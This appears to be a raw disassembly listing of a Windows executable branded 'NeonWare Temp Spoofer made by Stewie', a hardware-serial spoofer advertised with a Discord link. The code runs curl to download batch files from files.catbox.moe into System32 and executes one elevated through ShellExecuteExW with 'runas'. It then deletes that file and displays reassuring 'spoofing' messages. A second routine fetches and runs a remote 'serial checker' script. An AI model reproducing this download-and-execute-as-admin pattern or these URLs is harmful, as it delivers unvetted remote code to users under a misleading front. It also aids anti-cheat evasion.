mov qword [rbp + 0x268], r13
mov qword [rbp + 0x270], r13
mov r8d, 0x28
lea rdx, str.C:WindowsSystem32download_drivers.bat
lea rcx, [rbp + 0x258]
call fcn.140037960
nop
cmp byte [0x140092dda], 0
je 0x1400398e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], r13
mov r8d, 0x28
lea rdx, str.C:WindowsSystem32download_drivers.bat
lea rcx, [rbp + 0x220]
call fcn.140037960
nop
mov r14, qword [rbp + 0x230]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x32
jb 0x140039b84
lea r15, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova r15, qword [rbp + 0x220]
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], r13
mov qword [rbp + 0x360], r13
lea rsi, [r14 + 0x32]
mov ebx, 0xf
lea rdi, [rbp + 0x348]
cmp rsi, rbx
jbe 0x140039567
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140039508
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14003952f
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14003954e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140039b8a
mov rcx, rax
call fcn.14003a4dc
test rax, rax
je 0x140039aaa
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140039560
test rcx, rcx
je 0x14003955d
call fcn.14003a4dc
mov rdi, rax
jmp 0x140039560
mov rdi, r13
mov qword [rbp + 0x348], rdi
mov qword [rbp + 0x358], rsi
mov qword [rbp + 0x360], rbx
movups xmm0, xmmword [str.curl_https:__files.catbox.moe_94vn2v.bat___output]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140042c38]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [0x140042c48]
movups xmmword [rdi + 0x20], xmm0
movzx eax, word [0x140042c58]
mov word [rdi + 0x30], ax
lea rcx, [rdi + 0x32]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x348]
cmp qword [rbp + 0x360], 0xf
cmova rcx, qword [rbp + 0x348]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0x360]
cmp rdx, 0xf
jbe 0x140039611
inc rdx
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003960c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039aaa
call fcn.140039cf0
lea r8, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova r8, qword [rbp + 0x220]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, dword [rbp + 0x230]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], r13
mov qword [rbp + 0x360], r13
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0x348]
call fcn.140037a60
lea rcx, [rbp + 0x348]
cmp qword [rbp + 0x360], 7
cmova rcx, qword [rbp + 0x348]
lea r8, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova r8, qword [rbp + 0x220]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x230]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2b0], xmm0
movups xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
mov dword [rbp + 0x2a0], 0x70
mov dword [rbp + 0x2a4], 0x40
lea rax, str.runas
mov qword [rbp + 0x2b0], rax
lea rax, [rbp + 0x348]
cmp qword [rbp + 0x360], 7
cmova rax, qword [rbp + 0x348]
mov qword [rbp + 0x2b8], rax
mov r15d, 1
mov dword [rbp + 0x2d0], r15d
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140039788
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_running_batch_file_as_administrator:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140037700
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140037ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400397ad
mov rcx, qword [rbp + 0x308]
test rcx, rcx
je 0x1400397ad
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x308]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x360]
cmp rdx, 7
jbe 0x1400397f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x348]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400397ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039ab1
call fcn.140039cf0
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rcx, qword [rbp + 0x220]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x140092dda], 0
call fcn.14000a1c0
mov rbx, rax
movaps xmm0, xmmword [0x14003c750]
movups xmmword [rbp + 0x98], xmm0
lea rcx, [rbp + 0x98]
call fcn.1400079e0
movss xmm1, dword [rbp + 0x16c]
addss xmm1, xmm9
movss xmm0, dword [rbp + 0x168]
addss xmm0, xmm9
movss dword [rsp + 0x70], xmm0
movss dword [rsp + 0x74], xmm1
mov qword [rsp + 0x20], r13
lea r9, str.Temp_Spoofing_your_PC__please_wait...__nDone_
mov r8d, eax
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.1400202f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400398e0
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400398db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039ab8
call fcn.140039cf0
cmp byte [0x140092ddc], 0
je 0x14003997f
call fcn.14000a1c0
mov rbx, rax
movaps xmm0, xmmword [0x14003c750]
movups xmmword [rbp + 0x88], xmm0
lea rcx, [rbp + 0x88]
call fcn.1400079e0
movss xmm1, dword [rbp + 0x16c]
addss xmm1, xmm9
movss xmm0, dword [rbp + 0x168]
addss xmm0, xmm9
movss dword [rsp + 0x78], xmm0
movss dword [rsp + 0x7c], xmm1
mov qword [rsp + 0x20], r13
lea r9, str.Checking_your_Serials___nProcessing_
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, rbx
call fcn.1400202f0
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, str.curl_https:__files.catbox.moe_36sv3v.bat___output_C:WindowsSystem32_serial_checker_by_stewie.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32_serial_checker_by_stewie.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x140092ddc], 0
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x1400399c0
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400399bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039abf
call fcn.140039cf0
call fcn.140008fa0
mov ebx, 1
cmp dword [0x140092e0c], 2
jne 0x140039a1c
mov dword [rbp - 0x20], 0x42f00000
mov dword [rbp - 0x1c], 0x42dc0000
lea rcx, [rbp - 0x20]
call fcn.1400158e0
call fcn.140006190
mov dword [rbp + 0x50], 0x43e60000
mov dword [rbp + 0x54], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0x50]
lea rdx, str.discord.gg_8MScTvH2pm
lea rcx, str.NeonWare_Temp_Spoofer_made_by_Stewie
call fcn.140034620
call fcn.140008fa0
mov ecx, ebx
call fcn.140011920
mov rsi, qword [rbp + 0x70]
xor r14d, r14d
call fcn.140008870
call fcn.140008c30
mov edx, 0xffffffec
mov r8d, 0x80088
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
call fcn.140011f90
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
mov rcx, qword [0x140092dc0]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140092dd0]
mov edx, ebx
call qword [rax + 0x108]
mov rcx, qword [0x140092dc0]
mov rax, qword [rcx]
lea r8, [rbp + 0x368]
mov rdx, qword [0x140092dd0]
call qword [rax + 0x190]
call fcn.14000a430
mov rcx, rax
call fcn.14002f8d0
jmp 0x140038968
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [0x140092dd8], 0
call fcn.140030530
call fcn.140030c10
xor ecx, ecx
call fcn.1400087f0
call fcn.140037cd0
mov rcx, rsi
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.140039fd0
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140039cd0
nop
call fcn.140037690
int3